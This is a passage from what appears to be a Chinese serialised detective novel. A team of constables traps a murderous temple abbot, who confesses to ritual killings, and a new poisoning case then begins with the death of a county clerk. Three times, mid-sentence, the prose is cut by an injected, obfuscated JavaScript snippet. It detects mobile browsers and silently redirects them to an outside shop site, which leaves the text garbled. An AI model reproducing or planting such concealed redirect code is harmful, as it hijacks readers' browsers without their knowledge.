就在专案组内部因这调整而暗流涌动时,外界的压力已逼近顶点。 不知道是否有人有意为之,尽管寇晟坚持证据不全,但“净尘是真凶”的声浪却已无法遏制。 最终,一纸判斩告示贴遍江州:“恶僧净尘,劫财害命,罪证确凿,三日后明正典刑……真凶伏法,望百姓各安生理。” 公告一出,街头巷尾议论纷纷,笼罩着江州城数月的恐怖阴云骤然散开不少。 一直处于恐惧中的周婉听到这消息时,紧绷的肩膀肉眼可见地松垮了。她反复咀嚼着“真凶伏法”那几个字。长久以来压在心口的巨石,似乎移开了一点。 ……真的结束了? 连日来的惊恐、撕扯、无助,几乎耗干了她的心力。如今“真凶”伏法,她心里憋着的那股劲儿,一下子就松了,整个人产生了一种虚脱般的“安全感”。 正是这种心态上的变化,再加上族亲不依不饶的逼迫,她最终做出了一个决定:将儿子暂时送到外祖家躲清净,自己则留在老屋这里与夫家族亲继续周旋。 她下定决心,为了儿子的未来,她必须保住那几亩薄田。 这个消息传到专案组,众人大吃一惊。 孙副手连连摇头:“这妇人……简直自己往刀口上撞!这‘真凶’还没斩首示众呢,她倒先松了劲儿!” 赵统领面色凝重:“她独居老屋,若凶手真盯上了她,她又毫无知觉,这……” 余肖红忧心忡忡:“就算我们在外围加强防守和监视,若凶手用那迷香从内部下手,等我们察觉,恐怕也迟了。” 铁捕头闷声道:“那爪钩破窗无声无息,周娘子,危险!” 林霜看向寇晟:“大人,外围是否要再增派人手,或想其他办法提醒周娘子?” 寇晟听着众人议论,指节在案几上无声轻叩。 他目光沉静地扫过一张张或焦虑、或无奈、或疑虑的面孔,最后下令:“所有观察点,提高十倍警惕。人手暗中向周家老屋汇聚,但绝不能暴露。发现任何异常,立刻示警,不必请示。” 又是一个月圆夜,清冷的月光洒在榆钱巷,平日里黢黑一片的巷弄今日反而亮堂堂的,让人安心不少。 周婉独自待在屋内。 儿子被送走,族亲暂时偃旗息鼓,世界仿佛突然安静下来,孤寂和寒意却阵阵袭来。 她吹熄了灯,和衣躺下。眼睛却睁着,望着窗外惨白的月光,毫无睡意。 手,则下意识地紧紧攥着一枚往日里从慈恩寺求来的、据说能驱邪安神的旧符,心里默念着佛号。 许是佛号念得多了,她鼻间甚至闻到了一股若有似无的点燃了的香味儿,那香味儿仿佛从记忆深处飘来,丝丝缕缕,渗入房中。 周婉闻到这味道,恍惚间竟觉得有些安心,紧绷的神经莫名松弛,翻了个身后眼皮越来越重,思绪飘向模糊的远方……手中紧握的旧符,悄然滑落枕边。 几乎在同一时刻,周家院落外数个隐蔽的角落里,林霜及其带领的监视者,以及更外围寇晟、赵统领亲自坐镇的策应队伍,所有人的神经都绷到了极致。 子夜时分,一道黑影,果然出现了。 身形不算高大,甚至有些瘦削佝偻,动作却出乎意料的稳定而灵巧。他并未强行破门,而是利用那特制的三爪钩,像一只经验老到的夜行动物,悄无声息地弄开了周家后窗一道不易察觉的缝隙,缩身而入,整个过程几乎没发出任何声响。 黑影对屋内格局似乎了如指掌,没有丝毫犹豫,径直走向床榻。月光透过窗纸,隐约映出他手中有一道寒光闪过,背有些佝偻。 他停在床边,静静看着床上“昏迷”的女子,口中似乎极低地念诵着什么,然后,缓缓举起了手中的利刃,另一只手则将背上的凸起取了下来,原来那是个包袱…… 就是此刻! 床上“昏迷”的周婉,毫无征兆地猛然睁开双眼,眸中清澈锐利,毫无迷蒙之色!她右手如电,一把扣住黑影持刀的手腕,力道惊人,同时左手寒光乍现,一柄短刀已稳稳抵在黑影的颈侧! “别动!”声音清冷镇定,正是穆青青! 黑影浑身剧震,如遭雷击,整个人僵在原地,手中的刀和包袱“啪嗒”掉落在地。他瞪圆了双眼,死死盯住眼前之人。 这张脸分明是周婉,可这眼神、这气势,哪有半分平日里虔诚柔弱、逆来顺受的模样? “砰!哗啦!” 房门和另一扇窗户几乎同时被撞开,寇晟、赵统领一马当先,余肖红、林霜等人紧随其后,火把瞬间将小小的房间照得亮如白昼,所有退路被封死。无数双锐利的眼睛,聚焦在屋中央被穆青青牢牢制住的黑影身上。 火光跃动,驱散了阴影,也彻底照亮了黑影的真容。 花白的须眉,深刻的皱纹,一双原本应充满智慧与慈悲、此刻却布满惊骇、慌乱乃至一丝绝望的眼睛。 不是普法,不是法净,也不是慧觉。 赫然是慈恩寺的住持—— 慧明! “是……是你?”赵统领倒吸一口凉气,纵然经验丰富,此刻也难掩震惊。 捕快们迅速上前,将呆若木鸡的慧明捆缚结实。 余肖红立刻捡起地上的包袱和短刀,包袱打开一开,赫然是一套大红嫁衣! 林霜则警惕地搜查慧明全身,又找出那个散发着异样甜香的小香囊,以及一小包暗红色的粉末和一枚造型古朴的三爪钩。 慧明起初似乎想挣扎,想辩解,但目光触及林捕快手上那套鲜红的嫁衣,又看到穆青青手中那柄短刀,以及周围六扇门众人或厌弃或惊讶的目光,他整个人像被抽掉了脊梁骨,那属于得道高僧的宝相庄严瞬间崩塌,只剩下深深的颓败和一种难以言喻的、混合着痛苦与解脱的复杂神色。 寇晟走上前,目光如炬,沉声问道:“慧明禅师,你还有什么话说?” 慧明缓缓抬起头,看了看寇晟,又望了望窗外凄清的月光,良久,才发出一声悠长而枯涩的叹息,仿佛吐尽了积压数十年的浊气:“阿弥陀佛……因果循环,报应不爽……老衲……终究是逃不过这一劫。” 他没有激烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100393|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反驳,没有疯癫呓语,反而有种尘埃落定的平静,只是这平静之下,是深不见底的悲凉与悔恨。 后续的审讯和搜查,如同剥开一颗腐朽多年的种子,露出了里面扭曲痛苦的真相。 四十年前,慧明还是寺中一名颇有慧根、正值壮年的僧人。 那时,一位家道中落、常来寺中静心抄经的年轻女香客,与俊朗温和的慧明渐渐互生情愫。 两人深知这份感情为世俗所不容,痛苦挣扎后,决定还俗私奔。 慧明偷偷备好了还俗后的衣物用品,藏在寺外;女子则暗中筹划私奔的具体路线。 然而事与愿违,很快,女子家中便察觉此事,没能查出男方是谁,便在其私奔当夜将她拦回,并为了家族利益,迅速为她定下一门亲事,欲将她远嫁。 若就此两人分开,那也不过是一场普通的爱情悲剧,可惜这女子性子刚烈又非常痴情。 出嫁前夜,女子在贴身丫鬟帮助下,穿着那身本该在婚仪上穿的嫁衣,拼死逃出,直奔慈恩寺,想见慧明最后一面,或许也还奢望着能做最后一番挣扎。 她到了寺外,慧明却因恐惧戒律、恐惧家族势力、恐惧未知的未来,在最后一刻胆怯了,躲在暗处不敢现身。 女子家人追至寺外叫骂搜寻。为了保护慧明,女子始终未吐露他的名字,最后在绝望与悲愤中,当着追兵的面,拼死闯进寺内,纵身跳入了寺后园的那口古井,香消玉殒。 女子家人觉得此事晦气至极,更怕丑事外扬影响家族其他女儿声誉,竟连尸首都不愿打捞,对外谎称女儿急病身亡,让一名堂妹代嫁;旋即举家匆匆迁离江州,再无音讯。 当时的慈恩寺无法,只得出钱出力将女子尸身捞起安葬。 慧明在极度的悔恨与痛苦中,偷偷将自己那包准备还俗的衣物,放入女子的薄棺中陪葬,又从她那身湿透的嫁衣上,以及自己那包衣物上,各剪下一小块布料肉肉藏起来留作纪念。 他自觉罪孽深重,从此摒除妄念,深研佛法,苦修赎罪,凭借过人的毅力和学识,竟一步步成为寺中表率,最终接任了住持之位。 那口井也因“不祥”而被填平,寺中僧众又换了一茬接一茬,知情者或老去或离散,这段往事最后竟被人彻底遗忘。 直到几年前,年迈的慧明身体日渐衰老,精神不济,噩梦频频,常常梦见一浑身湿透的嫁衣女子哀怨地看着他,情况已严重到需要普法等人为他配置特殊的安神药物。 在寻求心灵解脱的执念驱使下,慧明借口修葺放生池环境,命人重新挖开了那口井。 他还遍览藏经阁中典籍,甚至到处搜寻残卷乃至伪经,务求能找到所谓“赎罪法门”。 非常不幸的是,他还真的找到了一种骇人听闻的“赎罪法门”:有大罪孽缠身者,若能寻得若干“心诚却命舛”之女子助其“脱离苦海”,为其穿上象征“新生”的衣物,举行某种仪式,再取走其“曾向佛祖祈求”的双手,诚心供奉。每完成一次,罪孽便洗涤一分。待数量足够,罪孽可清,甚至可能修出象征功德的“舍利子”。 36. 疑案再生 审讯室里,火光跳动,慧明那张脸仿佛瞬间老了十岁。 褪去了住持的威仪与慈悲,此刻的他,只是一个被执念彻底吞噬、犯下滔天罪行的老人。 寇晟亲自坐镇,穆青青、余肖红、赵统领等核心成员分列左右。 慧明起初有些语无伦次,忏悔与自责交织在一起。但随着讲述深入,那份尘埃落定般的平静又回来了,只是声音干涩,透着一股腐朽的气息。 “她叫素娘……本姓周,是当年江州一户败落书香门第的女儿……”他眼神空洞,仿佛穿透了时光,看到了那个在藏经阁外廊下安静抄经的素衣身影,“……是老衲负了她,让她穿着那身嫁衣,孤零零地沉在井底……” 他详细描述了如何从“伪经”中得到那套骇人听闻的“赎罪法门”,又如何一步步将心中扭曲的执念付诸实践。 “夜昙花……后山那几丛,是贫僧年轻时偷偷移栽的。那花粉轻若无物,随风可散数里,能引来浮面蛾。贫僧用特制的香囊装着花粉,在‘开解’那些女子时,假借赠送‘安神香囊’或‘加持过的经文护符’,让她们带在身上……浮面蛾自会寻香而至,在她们住所窗外徘徊,留下痕迹。贫僧便能知晓何处可以找到她们所在,然后……行事。” 原来窗台上的花粉痕迹是这么来的。穆青青想起大黄狗说的“窗边臭臭的味儿”和“蛾子老在那儿飞”。 “爪钩……”慧明垂下眼,“是年轻时为了与她私奔,偷偷找城外一个老铁匠打的,本想用来翻越她家后院墙头……没用上,却用在了这里。那老铁匠多年前就死了。” 难怪铁捕头他们始终无法追查到爪钩的来源。 “嫁衣……是照着记忆里素娘那身的样子,在城里不同的成衣铺子分开买的,再自己略作修改。至于内衬里的布……”他沉默良久,才艰难道,“是从当年放入她棺中陪葬的、贫僧自己的那包旧衣上,撕下来的。贫僧想……想让她们穿着带有贫僧气息的衣裳‘往生’,或许……或许能抵消一些贫僧的罪孽……” 扭曲的逻辑令人脊背发寒。那深灰色的旧布纤维,竟是四十年前准备还俗的衣物。 “为何切去双手?”寇晟的声音冷峻。 慧明浑身一颤:“那‘法门’上说……女子向佛祈求,多是合十或摊开手掌。取走这‘祈求之器’,供奉于佛前,方能断绝其在此世的苦厄牵连,助其‘往生’,也截断贫僧与她们之间的……业力纠缠。”他顿了顿,声音更低,“也是……也是怕留下指痕或其他痕迹。每个……之后,贫僧都会为她们仔细清洁、更衣、梳妆,让她们看起来……平静庄严。” 这便是现场毫无挣扎痕迹、死者面容平静甚至带着诡异安详的原因。凶手以一种扭曲的“慈悲”和“仪式感”,完成了他自以为是的“超度”。 “为何选择她们四人?还有,你今日为何对周娘子下手?”穆青青追问。 “她们……都与当年的素娘有几分相似之处。或是处境孤苦,或是眉眼神情……尤其是那份走投无路、心灰意冷却又强撑着一丝希望的样子……”慧明喃喃,“贫僧在‘开解’她们时,看到她们如释重负,眼中重新有了光……便觉得,是在替素娘寻找解脱。至于周娘子……她太像了,太像了……每日来跪拜,眼神里的绝望和倔强……贫僧知道净尘被抓后,整个慈恩寺都在你们的监视之内,但外面都说真凶已经落网,贫僧又,又停不下来……‘法门’说需足五之数,方能初见成效……这是最后一个了,做完这一次,或许……或许就能真正清净了……” 极致的悔恨与自私,混合着经年累月的心理扭曲与对伪经邪说的盲信,最终酿成了这起骇人听闻的连环惨案。 口供录毕,签字画押。 慧明被带下去时,脚步踉跄,背影佝偻,再无半分高僧气度。 议事厅内,气氛并未因真凶落网而轻松。相反,一种沉郁的凝重弥漫开来。 余肖红整理了从慧明禅房及藏经阁隐秘处搜出的证物:伪经残卷、调配夜昙花粉和迷药的器皿、剩余的嫁衣布料、以及一个藏在佛像底座下的木盒,里面赫然是四双已经处理过、惨白干枯的断手,以某种诡异的阵列摆放着,旁边还有香烛供奉的痕迹。 众人皆感一阵恶心与寒意。 “普法、法净、慧觉三人,可有参与或知情?”寇晟问。 赵统领汇报:“据详查和分别讯问,普法只知慧明近年来常让他采摘夜昙花,说是配药所需,且用量一次比一次大,他虽有疑虑,但不敢多问。法净确实为慧明配制过特殊的安神药丸,其中被要求加入微量夜昙花粉,他隐约觉得不妥,但慧明以住持身份和‘古方’为由压下。慧觉……他可能察觉到一些藏经阁内慧明查阅伪经、行为异常的情况,但他性子孤僻寡言,且对慧明极为尊敬,选择了沉默。三人均未直接参与谋杀,但知情不报,纵容恶行,难逃律法制裁。” 孙副手还补充了背景调查:“慧明年少时家境贫寒,被迫出家,天资聪颖却内心压抑。与素娘的情事是他一生唯一一次逾矩,也是最大的心魔。此事彻底改变了他,他表面苦修精进,内心却早已扭曲。普法等人或受其恩惠,或畏其权威,才让他在寺内几乎为所欲为。” 至此,江州连环命案真相大白。 后续的文书移交、案卷整理、上报刑部等事宜,自有寇晟与江州知府交涉处理。专案组众人紧绷了近十日的神经,终于可以稍事放松。 结案后的第二日午后,穆青青正在房中整理自己的行装,余肖红和林霜敲门进来,手里还提着个食盒。 “青青,忙什么呢?”余肖红笑着将食盒放在桌上,“江州有名的荷花酥和菱角糕,快来尝尝看。” 林霜也难得露出一丝浅笑:“这次多亏了你。你扮作周娘子,风险可不小。” 穆青青请她们坐下:“两位姐姐过奖了,是大家齐心协力的结果。我不过是按寇大人的安排行事。” “寇大人是运筹帷幄,你是胆大心细。”余肖红递过一块糕点,“说真的,那晚你制住慧明那一下,又快又准,我都捏了把汗。你这身手,不像寻常县衙捕快练出来的。” 穆青青心中微动,那可是现代擒拿术的狠招,她含糊道:“可能… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103926|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …是有些天赋吧,再加上丰州城的赵捕头也指点过一些实战技巧。” 林霜点头:“不管怎样,这次合作很痛快。以后若还有棘手的案子需要女同行协助,说不定还会找你。” 三人吃着糕点,聊了些办案的细节和江州风物,关系明显亲近了不少。正说笑着,寇晟身边的一名亲随来请,说寇大人有事相商。 穆青青来到寇晟暂用的书房。寇晟正在看一份刚送到的公文,见她进来,示意她坐下。 “穆捕头,江州案已了,不日我们将返回京城。此番辛苦你了。”寇晟语气温和,“崔大人那边,我会去信说明情况,为你请功。” “谢大人,分内之事。”穆青青顿了顿,想起一事,问道,“寇大人,不知上次丰州城的幼童失踪案后续如何?另外,上次听您提及五皇子殿下,他如今……” 寇晟看了她一眼,放下公文:“那幼童失踪案牵扯出宫中的几桩旧案,刑部已介入,会并案处理,相关人等一个也跑不掉。至于五皇子……”他脸上露出一丝如释重负的浅笑,语气里带着一种自然的亲昵,“已经平安救回了,受了些惊吓,但无大碍,此刻想必正在宫里被贵妃娘娘盯着喝安神汤呢。” 穆青青听他语气,似乎与五皇子颇为熟稔,猜想或许是因为他亲自参与救援,关系自然不同。她不便多问皇室之事,便道:“殿下平安就好。” “嗯。”寇晟颔首,转而道,“你此次表现卓异,六扇门中几位同僚对你评价颇高。日后若有意……六扇门随时欢迎。”这话说得很是含蓄,但招揽之意已明。 穆青青有些意外,但暂时并无离开丰城县的想法,只好诚恳道:“谢大人赏识。卑职在丰城县尚有许多未熟悉之事,想再多历练些时日。” 寇晟也不强求,点点头:“也好。丰城县虽小,倒也安稳。你回去后,若有难处,或发现不同寻常的线索,可直接与我联络。”他递给穆青青一枚小小的、刻着六扇门暗记的铜牌,“凭此物,可通过各地驿传急递送信。” 这相当于给了她一个直接上报的渠道,分量不轻。穆青青郑重接过:“谢大人。” 三日后,一切交割完毕。穆青青与余肖红、林霜等人告别,互道珍重。寇晟率大部人马返京,穆青青则在中途与他们分开,孤身骑马返回丰城县。 回程路上,她心中反复梳理着江州案的细节,也想着寇晟透露的关于五皇子的信息。还忍不住从慈恩寺联想到静心庵。 郑典史曾经暗示她静心庵的背后可能有人,也不知道他在其中究竟扮演着什么角色。还有他腰间那缕甜腻的药草香,总让她觉得不安,可是到底是在哪儿闻到过那股香味儿呢? 抵达丰城县时,已是傍晚。 城墙在夕阳下显得格外亲切,穆青青牵着马走向县衙。 离衙门还有一段距离时,却见陆金二急匆匆从衙门方向跑来,脸色煞白,满头大汗。 “穆、穆捕头?穆捕头!您回来了!”陆金二气喘吁吁,一把抓住穆青青的胳膊,声音都在发颤,“出、出大事了!郑典史……郑典史,他……他死了!” 37. 郑典史之死(1) 穆青青心头猛地一惊:“什么?什么时候的事?怎么死的?” “就昨天夜里!死在他自己家里!”陆金二咽了口唾沫,眼神里满是惊恐,“死状……死状有些难看!赵捕头正带着人在现场勘验。江州连环杀人案告破的消息传回来后,赵捕头就猜想您这两日应该会回来,特意让我在衙门口迎您!” 穆青青听完陆金二的汇报,心中疑窦丛生。她压下心中诸多思绪,对陆金二道:“走,我们也去现场看看!这马,就先拴在衙门口吧。” “具体什么情况?赵捕头怎么说?” 穆青青向陆金二确认郑典史家的方向后,脚步不停,边走边语速极快地问道,同时大脑也在飞速运转。 陆金二一边小跑着跟上,一边喘着气汇报:“昨天后半夜,郑家的老仆郑福发现郑典史书房还亮着灯,他想去劝说郑典史早点歇息,发现书房门紧锁着,里面却没人回应他。他觉得奇怪,转到敞开的窗户往里一看……就发现郑典史倒在书桌旁的地上,郑福原本还以为郑典史是醉倒了,赶紧喊人开门进去伺候,结果郑典史他,早已经没气了!赵捕头天未亮接到报案就赶过去了,封锁了现场,初步看了,说是……死得有点怪。” “怎么个怪法?”- “赵捕头没说太细,只让我若是迎到您了就让您赶紧过去。哦对了,他说现场很干净,门是从里面关好的,没有强行闯入的痕迹,也没有明显的打斗痕迹。郑典史身上……好像也没什么外伤,就是脸色发青,表情有点……扭曲。桌上还摊着些文书,茶也是喝了一半的。”陆金二努力回忆着赵捕头零星的交代。 密闭空间,无外伤,表情扭曲,可能是中毒? 青青立刻联想到郑克礼身上那特殊的香味。那甜腻底下的药草味…… “通知仵作了吗?” “通知了,周仵作应该已经到了。” 两人说话间,已疾步穿过了两条街巷。 郑克礼的宅子位于县城东南角,是个不算大但颇为清静的两进小院,与他典史的身份倒也相符。 此时院门外已有两名衙役把守,脸色凝重,见到穆青青来了,连忙行礼:“穆捕头!” “赵捕头在里面?” “是,赵捕头和周仵作都在书房。” 穆青青点点头,迈步进院。 院子不大,收拾得还算整洁,墙角种着些半枯的菊花。一个穿着褐色旧衣、瑟瑟发抖的老仆蹲在厢房门口,正是郑家的老仆郑福。 她没急着询问老仆,径直走向正屋东侧的书房。房门开着,赵捕头高大魁梧的身影堵在门口,正低声与里面的周仵作说着什么。 “赵捕头!”穆青青唤了一声。 赵捕头闻声回头,见是穆青青,紧锁的眉头稍微松了松,侧身让开:“青青,你回来得正好。快来看看。” 穆青青步入书房。 一股难以言喻的酸腐气息扑面而来,混杂着一丝熟悉的、甜腻中带着清苦的药草气味。 书房陈设简单,靠窗一张书桌,两侧书架,墙边一张窄榻。 郑克礼穿着家常的靛蓝色长衫,仰面倒在书桌与墙壁之间的地上,身体略显蜷缩。正如陆金二所说,他脸色呈现出一种不正常的青灰色,双目圆睁,瞳孔散大,嘴巴微张,面容扭曲,凝固着惊愕与痛苦交织的神情。 周仵作正蹲在尸体旁初步检查,见穆青青进来,点头示意。 穆青青没有打扰周仵作验尸,转身继续打量起现场来。 书桌上,一盏油灯已然熄灭,灯油耗尽。几份摊开的文书,笔墨纸砚摆放整齐。一个白瓷茶杯放在桌角,里面还有小半杯澄黄的茶汤。除此之外,桌上还放着一个打开的木匣子,里面似乎装着些信笺之类的东西。 穆青青的目光首先落在那茶杯上:“周叔,这茶?” 周仵作会意:“茶盏验过了,暂无异常气味,茶汤也已取样,需进一步查验。不过……”他指了指郑克礼的指甲和嘴唇,“口唇和指甲根部颜色有异,结合面色和体表初步查看,中毒身亡的可能性极大。具体是何毒物,需剖验方能确定。” 赵捕头沉声道:“门窗我都仔细查过,门闩完好,是从里面插上的。窗户也无异状,没有人翻窗进出的痕迹。郑福说昨晚郑典史回房后,他就睡了,夜里没听到任何异常响动。” 穆青青内心无数想法闪过。 如果是中毒,毒物如何进入郑典史家书房的?通过饮食?那杯茶里有毒吗? 动机是什么呢?灭口? 她走到书桌前,仔细观察那个木匣子。匣子做工普通,里面整齐地叠放着一沓信纸,最上面几张是空白的。她小心地拿起匣子,轻轻晃动,又仔细检查匣子内外,并无夹层或特殊痕迹。 “这匣子原本放在哪里?”她问。 赵捕头道:“据郑福说,这匣子是郑典史常用来放书信的,平时就放在书架第二层靠右的位置。昨晚郑典史回家后,似乎心情不错,还让郑福沏了壶新茶,然后就进了书房。郑福送茶进来时,就看到郑典史正从书架上取下这个匣子,放在桌上。” 穆青青又看向书架。书架上的书籍摆放得相当整齐,多是些律法典籍、县志杂记,也有一些诗文册子。她留意到,在原本放置木匣的位置附近,有几本书的排列顺序似乎与周围略有不协,像是被人匆忙抽阅后又放回,但没完全归位。 “赵捕头,这几本书……”她指向那几册书。 赵捕头走过来看了看:“嗯,我也注意到了。一本《大周刑统》,一本《丰城县志》,还有一本……《南山杂记》?都是常见的书。已经翻查过,但书页间并无夹带,也无特殊标记。” 穆青青拿起那本《南山杂记》。这是一本记录本地风物传说的杂书,纸质泛黄,有些年头了。她随手翻阅,内容无非是些山精野怪、奇闻异事。就在她准备合上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108656|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,目光扫过其中一页,手指顿住了。 这一页讲的是一个本地流传的、关于“狐仙赠药”的志怪故事,大意是某书生偶遇狐仙,获赠灵药,因此家宅平安,子孙绵延。故事本身并无出奇。 但就在这页纸的留白处,有人用与正文印刷体截然不同的蝇头小楷,写下了几句旁批。 字迹清秀工整,笔锋却略显纤柔犹豫,与郑克礼那份端正中带些圆滑的公务字体截然不同。这更像是女子的字迹。 旁批的内容并非注解故事,而是没头没尾的两行: “赠药之说,虚妄耶?然‘绵延’二字,何其刺目。我心匪石,不可转也。奈何,奈何。” 下方还有一行更小的字,墨迹略新: “三年矣。‘平安’何在?” 穆青青的心跳微微加快。她将书页小心地展示给赵捕头看。 “赵捕头,你看这旁批。字迹不像郑典史的。内容也颇有些……幽怨自伤之意,与这志怪故事本身关联不大,倒像是借题发挥,抒写心事。” 赵捕头凑近细看,眉头也皱了起来:“确实不像郑典史的笔迹。这……会是郑夫人的批注吗?” “很可能。这本书放在郑典史书房,郑夫人自然也能翻阅。”穆青青沉吟道,“但这内容……似乎透着一股长期的失望和无奈。‘三年矣’,像是一个时间标记。听说郑夫人多年无子,这‘绵延’、‘平安’的感慨,有没有可能指向子嗣之事?而‘赠药之说,虚妄耶?’她是在怀疑‘药’的效用吗?还是另有所指?” 郑夫人柳氏与郑典礼成亲近六年了,一直无所出。这事在整个县衙都不是什么秘密。不过据说郑典史夫妻两人感情很好,柳氏无所出,郑典礼对她亦如新婚。只是柳氏自己对此事很是着急,四处找人打听生子秘方。 “这是个重要线索。”穆青青将《南山杂记》小心收好,“我们需要请郑夫人辨认一下字迹,并解释一下这些旁批的缘由和时间。” 她的目光再次扫过整个书房,最后落回郑克礼的尸体上。那股甜腻的药草味似乎就是从尸体方向散发出来的。她走近两步,俯身细嗅。没错,气味更浓了。 “周叔,他身上可带有香囊之类的东西?” 周仵作轻轻拨开郑克礼的衣襟检查:“腰间确有一个香囊。”他用戴着手套的手,小心地将那个锦缎香囊解下,递给穆青青。 正是穆青青之前见过的那只。她接过,凑近鼻端。甜腻的香气依旧,但似乎比之前更浓郁了几分,底下的药草苦味也更明显。这香气……她绝对在别处闻到过! “香囊是郑夫人所绣,”赵捕头已问过,“郑典史常年佩戴,说是自己寻的安神药材。” 穆青青小心解下香囊,收入证物袋。接着又检查书桌抽屉,在最底层角落,发现一个未使用的空香囊,以及一小包素纸裹着的药材碎屑,气味与郑克礼佩戴的相似。素纸无字,纸质细腻。 38. 郑典史之死(2) 穆青青将证物仔细收好,目光缓缓扫过庭院,发现角落里,老仆郑福仍蜷缩着,单薄的褐色旧衣裹着佝偻的身躯,在深秋清晨的寒意里微微发颤。 她目光微顿,似乎才想起什么,忽然转向赵捕头:“赵捕头,郑夫人此刻何在?从我到现场至今,怎的一直未见她露面?” 赵捕头立刻道:“正要同你说。郑夫人……情形实在不好。昨天半夜郑福发现郑典史出事、惊呼起来时,郑夫人便已惊醒赶来了。她一进书房,看见郑典史那副模样,当场便厥了过去,不省人事。嬷嬷和丫鬟们连抬带扶将她送回卧房,掐人中、灌参汤,折腾了好一阵才悠悠转醒,可人却像是丢了魂似的,泪流不止,语无伦次,几乎说不出句整话。天亮前,嬷嬷见夫人情况实在吓人,怕她悲痛过度再出好歹,已急忙派人快马去邻县郑夫人的娘家报信了。” 他顿了顿,压低声音,“方才你来之前,我才去看过一眼。郑夫人躺在床上,面如白纸,眼神发直,嬷嬷正端着安神汤一勺勺勉强喂着。这时候若去问话,怕是问不出什么,反而可能激得她病情加重。” 穆青青闻言,若有所思地点了点头。 一个深宅妇人,骤然见到夫君暴毙惨状,惊骇过度以致昏厥失神也在情理之中。难怪自始至终,只有老仆郑福强撑着应对官府,主母柳氏却未曾现身。 “既如此,郑夫人那边就先让嬷嬷们好生照看着,务必请大夫仔细诊视。待她心神稍定,我再去探望问话。” 穆青青略一沉吟,又追加了一句,“不过,郑夫人身边的贴身嬷嬷,以及昨夜在府中的其余下人,需立刻分开细问。务必问清昨夜诸般细节,尤其是郑夫人近日有无异常情状,以及郑典史昨日一整日的具体行踪。” “已经安排陆金二他们在厢房挨个问了。”赵捕头办事老练,早已布置妥当。 众人皆未意识到,如今丰城县衙的捕快班底,已隐隐唯穆青青马首是瞻。赵捕头悍勇过人,于冲锋陷阵、缉拿凶顽是把好手,但若要抽丝剥茧、推演案情,的确非他所长。好在他性子爽利豁达,非但不以为意,反倒乐得听从穆青青调度,自己落得个省心省力。 穆青青暂将郑夫人那边搁下,心思转回到眼前的现场。 “周叔,”她对仍在检视的周仵作正色道,“郑典史的遗体需尽快详验,首要查明所中何毒,毒发情状。此外,亦请细查其体内有无长期服药留下的痕迹,或体质是否有虚损之象。那香囊及药材碎屑,也劳您费心剖析成分。” 言毕,她又看向赵捕头:“赵捕头,郑典史昨日行踪,与何人交接,尤其晚膳前后细节,务必查清。他带回的食盒里究竟是何物,也需核实来源。” 众人齐声应诺,各自领命而去。穆青青则带着那本《南山杂记》及香囊等关键物证,先行返回县衙。她需要一处更安静的环境,将这些纷乱的线索重新梳理一遍,同时静候各方初步的消息汇集。 下午,穆青青在郑家内院一间僻静客房见到了郑夫人柳氏。 房间窗户半开着,空气中仍残留着淡淡的安神汤药气。 柳氏半靠在榻上,身上盖着薄被,面色依旧苍白如纸,眼睛红肿得厉害。一位面相敦厚、眼圈也红着的中年嬷嬷侍立在旁,小心翼翼地端着温水。 见到穆青青进来,柳氏挣扎着想坐直些,声音沙哑无力:“穆捕头……妾身失礼了……” “夫人请节哀,保重身体要紧。” 穆青青在嬷嬷搬来的绣墩上坐下,语气放缓,“本不该此时打扰夫人,但为查明郑典史死因,有些事不得不向夫人求证。若夫人感到不适,可随时停下。” 柳氏含泪点头。 穆青青先从昨日情形问起。 柳氏的叙述与郑福等人基本一致。 郑克礼昨日下午回府时带回些醉蟹,心情尚可;晚膳时,柳氏见丈夫饮酒食蟹,本想提醒蟹性寒凉莫要多吃,但见夫君兴致不错,且想起近日夫妻间因无子之事总有些淡淡隔阂,便未多言,只默默用了些清淡饭菜;膳后郑克礼回书房,她则回房做些针线,后来便歇下了。 “夫人近来可曾察觉郑典史身体有何异样?或是有何心事?”穆青青问。 柳氏眼神黯淡下去,沉默片刻,才低声道:“老爷他……公务一向繁忙,身体倒是康健。只是……只是妾身无用,多年未曾为郑家开枝散叶,心中愧对老爷,平日难免多思多虑,有时……或许也让老爷烦心了。” 她的话语里满是自责与苦涩,不似作伪。 穆青青适时取出那本《南山杂记》,翻到批注那页:“夫人,此书是从郑典史书房所得。这旁批字迹清秀,似是女子手笔。夫人可认得?” 柳氏目光触及书页,浑身剧震,脸色瞬间又白了几分,手指紧紧攥住了被角。她死死盯着那几行字,尤其是“三年矣”和“平安何在”,嘴唇哆嗦着,大颗的泪珠滚落下来,却发不出声音,只有压抑的、破碎的抽泣。 嬷嬷连忙上前抚慰。 